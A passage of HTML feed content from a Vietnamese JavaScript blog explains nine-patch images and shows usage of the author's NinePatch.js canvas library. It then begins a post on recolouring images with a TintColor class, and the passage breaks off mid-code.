url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIDBf/EABQBAQAAAAAAAAAAAAAAAAAAAAL/2gAMAwEAAhADEAAAAdBbzRYcK//EABoQAAICAwAAAAAAAAAAAAAAAAACARIQESH/2gAIAQEAAQUCZu2LDaFiJx//xAAVEQEBAAAAAAAAAAAAAAAAAAAQIf/aAAgBAwEBPwGn/8QAFhEAAwAAAAAAAAAAAAAAAAAAARAR/9oACAECAQE/AaF//8QAFxAAAwEAAAAAAAAAAAAAAAAAABARMf/aAAgBAQAGPwJ2GL//xAAaEAEAAwEBAQAAAAAAAAAAAAABABEhMWGh/9oACAEBAAE/IXvQBLefZwYchV0XEGxEMwyf/9oADAMBAAIAAwAAABCfz//EABcRAQADAAAAAAAAAAAAAAAAAAEQETH/2gAIAQMBAT8QS2x//8QAFxEBAQEBAAAAAAAAAAAAAAAAAQARIf/aAAgBAgEBPxAx6Tf/xAAcEAEBAAICAwAAAAAAAAAAAAABEQAhQdFRYcH/2gAIAQEAAT8QQQiQ2cXhwPYUeVfcWrJQswZ75XfeFCgPfeQgIEAM/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="nine-patch button stretchable 2- complete javascript - completejavascript.com" title="nine-patch button stretchable 2- complete javascript - completejavascript.com" src="/static/46c451162c9da44845d194d07ab2d75d/953fe/nine-patch-button-stretchable-2.jpg" srcset="/static/46c451162c9da44845d194d07ab2d75d/e4e7a/nine-patch-button-stretchable-2.jpg 165w, /static/46c451162c9da44845d194d07ab2d75d/4f5c6/nine-patch-button-stretchable-2.jpg 330w, /static/46c451162c9da44845d194d07ab2d75d/953fe/nine-patch-button-stretchable-2.jpg 500w" sizes="(max-width: 500px) 100vw, 500px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Trong 9 phần đó:</p> <ul> <li>Số 1, 3, 7 và 9 là các phần cố định</li> <li>Số 2 và 8 là các phần được kéo dãn theo chiều ngang (horizontal)</li> <li>Số 4 và 6 là các phần được kéo dãn theo chiều dọc (vertical)</li> <li>Số 5 là phần được kéo dãn theo 2 chiều (cả ngang và dọc)</li> </ul> <h3 id="phần-chứa-nội-dung" style="position:relative;"><a href="#ph%E1%BA%A7n-ch%E1%BB%A9a-n%E1%BB%99i-dung" aria-label="phần chứa nội dung permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phần chứa nội dung</h3> <p>Ngoài việc định nghĩa phần co dãn và phần cố định của ảnh, ta có thể định nghĩa phần chứa nội dung, tương đương với việc định nghĩa padding.</p> <p>Phần này được xác định bởi 2 đường kẻ màu đen ở phía bên phải (<strong>right</strong>) và phía dưới (<strong>bottom</strong>).</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 76.96969696969698%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIBAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAC/9oADAMBAAIQAxAAAAHRS9EXICv/xAAaEAACAgMAAAAAAAAAAAAAAAAAAQIREiEx/9oACAEBAAEFApSMmXY9lJHT/8QAFREBAQAAAAAAAAAAAAAAAAAAECH/2gAIAQMBAT8Bp//EABYRAAMAAAAAAAAAAAAAAAAAAAEQEf/aAAgBAgEBPwGhf//EABYQAQEBAAAAAAAAAAAAAAAAAAAxEP/aAAgBAQAGPwLYiP/EABoQAQEBAQADAAAAAAAAAAAAAAERACExQVH/2gAIAQEAAT8h7EPW6YgMmB5C/cksOGOA3//aAAwDAQACAAMAAAAQ9M//xAAWEQEBAQAAAAAAAAAAAAAAAAABEFH/2gAIAQMBAT8QTU//xAAXEQEAAwAAAAAAAAAAAAAAAAABEBEh/9oACAECAQE/ECjSP//EAB4QAQADAAEFAQAAAAAAAAAAAAEAESFxMUFhscHR/9oACAEBAAE/EFAMKPVtYEMHlf2YgVFhxf2H7aVjYmXb0leogIJgHif/2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="nine-patch button stretchable 3- complete javascript - completejavascript.com" title="nine-patch button stretchable 3- complete javascript - completejavascript.com" src="/static/64fb169213929ef72df8e2dbf503fe3b/953fe/nine-patch-button-stretchable-3.jpg" srcset="/static/64fb169213929ef72df8e2dbf503fe3b/e4e7a/nine-patch-button-stretchable-3.jpg 165w, /static/64fb169213929ef72df8e2dbf503fe3b/4f5c6/nine-patch-button-stretchable-3.jpg 330w, /static/64fb169213929ef72df8e2dbf503fe3b/953fe/nine-patch-button-stretchable-3.jpg 500w" sizes="(max-width: 500px) 100vw, 500px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Nghĩa là chỉ có hình chữ nhật màu hồng được phép chứa nội dung. Nếu nội dung lớn hơn vùng này thì ảnh nine-patch sẽ được kéo dãn ra để chứa đủ nội dung đó.</p> <h2 id="tạo-ảnh-nine-patch" style="position:relative;"><a href="#t%E1%BA%A1o-%E1%BA%A3nh-nine-patch" aria-label="tạo ảnh nine patch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo ảnh nine-patch</h2> <p>Bạn có thể dùng hầu hết các công cụ chỉnh sửa ảnh để tạo ảnh nine-patch: Photoshop, GIMP, ...</p> <p>Ngoài ra, bạn cũng có thể dùng các công cụ chuyên biệt như <a href="https://developer.android.com/studio/write/draw9patch.html">WYSIWYG</a> của Android Studio hoặc <a href="https://romannurik.github.io/AndroidAssetStudio/nine-patches.html">Simple nine-patch generator</a>.</p> <h2 id="áp-dụng-ảnh-nine-patch-cho-web" style="position:relative;"><a href="#%C3%A1p-d%E1%BB%A5ng-%E1%BA%A3nh-nine-patch-cho-web" aria-label="áp dụng ảnh nine patch cho web permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Áp dụng ảnh nine-patch cho web</h2> <p>Để đơn giản, ta sẽ không quan tâm đến padding (padding = 0), nghĩa là phần đường kẻ màu đen phía dưới và bên phải kéo dài đến hết bức ảnh (trừ đi 1 pixel là border).</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 52.121212121212125%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABU0lEQVQoz62Qy07CUBRF++PAADAEI2AcVdoSFG5b20If0PISoaCRRGOi+BiKDxj4AY0xOdsUMDJwUBIHKzsnd52Tm831+/3PweAMRq2O6okJWbMg63YIrfMvaOVZqKgm6qaFi/MxjisVcL4/DDTDREIa0Y72RGllSmn1PgQbiY35902ZLncSh13yWm2SZUbcoN/7Eis6svYb7Xtz5N0taL7joPOB2NENrGYHiszAnXbbKFUNyprPyDVesOdsgT1DwZsjXr6C7XbXB3sdkqoGstaMco3XpRhmFEK34C0QL19vHPzvH/50uOuEHS5QcOeRyburDuObHfrDQaDqdcTFEaWUByTZHZJyRNgtUuojYnyXXK8Fxhhxvu8H45GPmukQ0x0oRgOy4UQidKuaDctuYDK5JMYYOJ7nA57nIYoClSQBkiigFJGlKwkQikUSBAGZTCb4BlR9Yih3ueHkAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="nine-patch image demo - complete javascript - completejavascript.com" title="nine-patch image demo - complete javascript - completejavascript.com" src="/static/ecd398f63153c57dd9ac18e676773881/0eb09/demo_normal.9.png" srcset="/static/ecd398f63153c57dd9ac18e676773881/103f2/demo_normal.9.png 165w, /static/ecd398f63153c57dd9ac18e676773881/748ba/demo_normal.9.png 330w, /static/ecd398f63153c57dd9ac18e676773881/0eb09/demo_normal.9.png 500w" sizes="(max-width: 500px) 100vw, 500px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Để scale ảnh nine-patch, mình sẽ xử dụng Canvas với ý tưởng chung như sau:</p> <ul> <li>Sử dụng canvas để xác định đường kẻ màu đen phía trên và bên trái,</li> <li>Từ đó, suy ra phần cố định và phần được co dãn,</li> <li>Vẽ lại ảnh lên 1 canvas khác,</li> <li>Chuyển canvas thành dạng <strong>dataURL</strong> để sử dụng.</li> </ul> <p>Sau một thời gian nghiên cứu, mình đã viết lại thành một thư viện đơn giản là <a href="https://github.com/completejavascript/nine-patch-js">NinePatch.js</a>. Tuy nhiên, thư viện này vẫn chưa hoàn thiện và chỉ có thể xử lý được những ảnh nine-patch có cấu tạo đơn giản.</p> <p>Các API mà bạn có thể áp dụng:</p> <h3 id="hàm-getsize" style="position:relative;"><a href="#h%C3%A0m-getsize" aria-label="hàm getsize permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm getSize</h3> <p>Hàm này trả về một Promise. Trong trường hợp thành công thì kết quả là một <a href="/object-la-gi-object-trong-javascript/">object</a> với 3 thông số là url, width, height của bức ảnh gốc, như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">{</span><span class="token literal-property property">url</span><span class="token operator">:</span> dataUrl<span class="token punctuation">,</span> <span class="token literal-property property">width</span><span class="token operator">:</span> image<span class="token punctuation">.</span>width<span class="token punctuation">,</span> <span class="token literal-property property">height</span><span class="token operator">:</span> image<span class="token punctuation">.</span>height<span class="token punctuation">}</span></code></pre></div> <h3 id="hàm-scaleimage" style="position:relative;"><a href="#h%C3%A0m-scaleimage" aria-label="hàm scaleimage permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm scaleImage</h3> <p>Cũng tương tự như hàm <strong>getSize</strong> nhưng hàm này sẽ trả về object là thông tin của ảnh mới sau khi scale.</p> <p>Để hiểu hơn về cách sử dụng NinePatch.js, mời bạn xem ví dụ sau đây:</p> <h3 id="ví-dụ-sử-dụng-ninepatchjs" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-s%E1%BB%AD-d%E1%BB%A5ng-ninepatchjs" aria-label="ví dụ sử dụng ninepatchjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ sử dụng NinePatch.js</h3> <p><a href="https://codepen.io/completejavascript/pen/opOvaP"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/opOvaP/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Trước tiên, mình sẽ hiển thị ảnh gốc, bằng cách áp dụng hàm getSize:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">NinePatch</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">getSize</span><span class="token punctuation">(</span>srcImg<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setImage</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#ninePatchImg"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> result<span class="token punctuation">.</span>url<span class="token punctuation">,</span> result<span class="token punctuation">.</span>width<span class="token punctuation">,</span> result<span class="token punctuation">.</span>height<span class="token punctuation">)</span> <span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hàm setImage() áp dụng <a href="/co-ban-ve-dom-javascript/">DOM</a> để set lại giá trị width, height, url cho thẻ div hiển thị bức ảnh.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">setImage</span><span class="token punctuation">(</span><span class="token parameter">divElement<span class="token punctuation">,</span> srcURL<span class="token punctuation">,</span> width<span class="token punctuation">,</span> height</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> divElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>width <span class="token operator">=</span> width <span class="token operator">+</span> <span class="token string">"px"</span><span class="token punctuation">;</span> divElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>height <span class="token operator">=</span> height <span class="token operator">+</span> <span class="token string">"px"</span><span class="token punctuation">;</span> divElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>backgroundSize <span class="token operator">=</span> <span class="token string">""</span> <span class="token operator">+</span> width <span class="token operator">+</span> <span class="token string">"px "</span> <span class="token operator">+</span> height <span class="token operator">+</span> <span class="token string">"px"</span><span class="token punctuation">;</span> divElement<span class="token punctuation">.</span>style<span class="token punctuation">.</span>backgroundImage <span class="token operator">=</span> <span class="token string">"url('"</span> <span class="token operator">+</span> srcURL <span class="token operator">+</span> <span class="token string">"')"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Tiếp theo, sử dụng hàm scaleImage để scale bức ảnh:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">NinePatch</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">scaleImage</span><span class="token punctuation">(</span>srcImg<span class="token punctuation">,</span> <span class="token constant">WIDTH</span><span class="token punctuation">,</span> <span class="token constant">HEIGHT</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setImage</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#normalImg"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> result<span class="token punctuation">,</span> <span class="token constant">WIDTH</span><span class="token punctuation">,</span> <span class="token constant">HEIGHT</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trên đây là những kiến thức cơ bản về ảnh nine-path, cũng như cách xử lý ảnh nine-patch trong JavaScript. Tuy nhiên, còn rất nhiều thứ cần phải cải tiến. Vì vậy, mình rất mong nhận được sự góp ý từ bạn.</p> <p>Xin chào và hẹn gặp lại bạn ở <a href="/javascript-indexeddb-tai-sao-khong/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://developer.android.com/guide/topics/graphics/2d-graphics.html#nine-patch">NinePatch drawables</a></li> <li><a href="https://developer.android.com/studio/write/draw9patch.html">Create Resizable Bitmaps (9-Patch files)</a></li> <li><a href="https://viblo.asia/p/what-are-9-patch-images-MLzkObPoepq">What are 9-patch images ?</a></li> <li><a href="https://yellowcodebooks.com/2017/06/21/android-bai-21-su-dung-drawable-anh-9-patch-anh-vector">Android Bài 21: Sử Dụng Drawable – Ảnh 9-Patch &#x26; Ảnh Vector</a></li> <li><a href="/javascript-tint-color-thay-doi-mau-sac-buc-anh/">JavaScript Tint Color – thay đổi màu sắc bức ảnh</a></li> </ul>[email protected]<![CDATA[JavaScript Tint Color - thay đổi màu sắc bức ảnh]]><![CDATA[Xin chào bạn. Hình như là đã lâu rồi mình chưa viết bài nào về lập trình JavaScript. Nguyên nhân là vừa rồi mình cũng không có nhiều thời gian để học và tìm hiểu về nó. Từ hôm nay…]]>https://completejavascript.com/javascript-tint-color-thay-doi-mau-sac-buc-anh/https://completejavascript.com/javascript-tint-color-thay-doi-mau-sac-buc-anh/<![CDATA[Canvas]]><![CDATA[CSS]]><![CDATA[DOM]]><![CDATA[RegExp]]>Tue, 09 Jan 2018 14:39:22 GMT<p>Xin chào bạn. Hình như là đã lâu rồi mình chưa viết bài nào về lập trình JavaScript. Nguyên nhân là vừa rồi mình cũng không có nhiều thời gian để học và tìm hiểu về nó. Từ hôm nay, mình sẽ bắt đầu lại với chủ đề này, đó là JavaScript nâng cao. Bài viết đầu tiên là JavaScript Tint Color - thay đổi màu sắc của bức ảnh.</p> <h2 id="javascript-tint-color-là-gì" style="position:relative;"><a href="#javascript-tint-color-l%C3%A0-g%C3%AC" aria-label="javascript tint color là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript Tint Color là gì?</h2> <p>JavaScript Tint Color là việc sử dụng <a href="/javascript-la-gi/">JavaScript</a> (<a href="https://www.tutorialspoint.com/html5/html5_canvas.htm">Canvas</a>) để thay đổi màu sắc của một bức ảnh.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 50.909090909090914%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAf0lEQVQoz6WRPQqAMAyFe25XV3FyELdeoW7dxKvoLqgo2OZJouIkVRtCeG/4yJ9CRCgus8ZSi/Xf4SHBVIil7zBdFElv0UScL+Cb/rFzmqKqWGweOahhucwwBn1/TvEMZxm0ZrESSlArRxxhLbouCEe9yjnOI9y9vveBm0V13gH4+E1c5CtpOQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="demo tint color" title="demo tint color" src="/static/50ac7d52c3117ff222a14a3b558a88f7/7c811/tint-color-demo.png" srcset="/static/50ac7d52c3117ff222a14a3b558a88f7/103f2/tint-color-demo.png 165w, /static/50ac7d52c3117ff222a14a3b558a88f7/748ba/tint-color-demo.png 330w, /static/50ac7d52c3117ff222a14a3b558a88f7/7c811/tint-color-demo.png 660w, /static/50ac7d52c3117ff222a14a3b558a88f7/d28e0/tint-color-demo.png 990w, /static/50ac7d52c3117ff222a14a3b558a88f7/e0a8c/tint-color-demo.png 998w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bạn có thể thấy ở phía trên. Cùng là ảnh một ngôi sao nhưng màu sắc của chúng là khác nhau. Bình thường, bạn cần phải tạo ra những tệp tin ảnh tương ứng với mỗi màu. Nhưng khi áp dụng JavaScript Tint Color, chúng ta chỉ cần một bức ảnh ban đầu, sau đó có thể tạo ra vô số bức ảnh tương tự với màu sắc khác nhau.</p> <h2 id="những-lợi-ích-của-javascript-tint-color" style="position:relative;"><a href="#nh%E1%BB%AFng-l%E1%BB%A3i-%C3%ADch-c%E1%BB%A7a-javascript-tint-color" aria-label="những lợi ích của javascript tint color permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Những lợi ích của JavaScript Tint Color</h2> <p>Lúc đầu, mình định viết về ưu, nhược điểm của JavaScript Tint Color. Tuy nhiên, vì hiện tại mình chưa biết cách nào khác để so sánh, nên bài viết này sẽ bàn về lợi ích của JavaScript Tint Color:</p> <ul> <li>Tiết kiệm thời gian: vì bạn chỉ cần thiết kế ảnh 1 lần, không phải mỗi màu sắc cần thiết kế lại.</li> <li>Tiết kiệm dung lượng của host: nếu như với mỗi màu sắc bạn lại upload lên host thì không lâu sau dung lượng của bạn sẽ hết.</li> </ul> <h2 id="cách-sử-dụng-javascript-tint-color" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-javascript-tint-color" aria-label="cách sử dụng javascript tint color permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng JavaScript Tint Color</h2> <p>Với mục đích tái sử dụng, mình đã viết thành một thư viện như sau:</p> <h3 id="tintcolorjs" style="position:relative;"><a href="#tintcolorjs" aria-label="tintcolorjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TintColor.js</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">TintColor</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">_srcImage<span class="token punctuation">,</span> _tintColor</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_srcImage <span class="token operator">=</span> _srcImage<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_tintColorArray <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">_getRGBAArray</span><span class="token punctuation">(</span>_tintColor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">setSourceImage</span><span class="token punctuation">(</span><span class="token parameter">_srcImage</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token 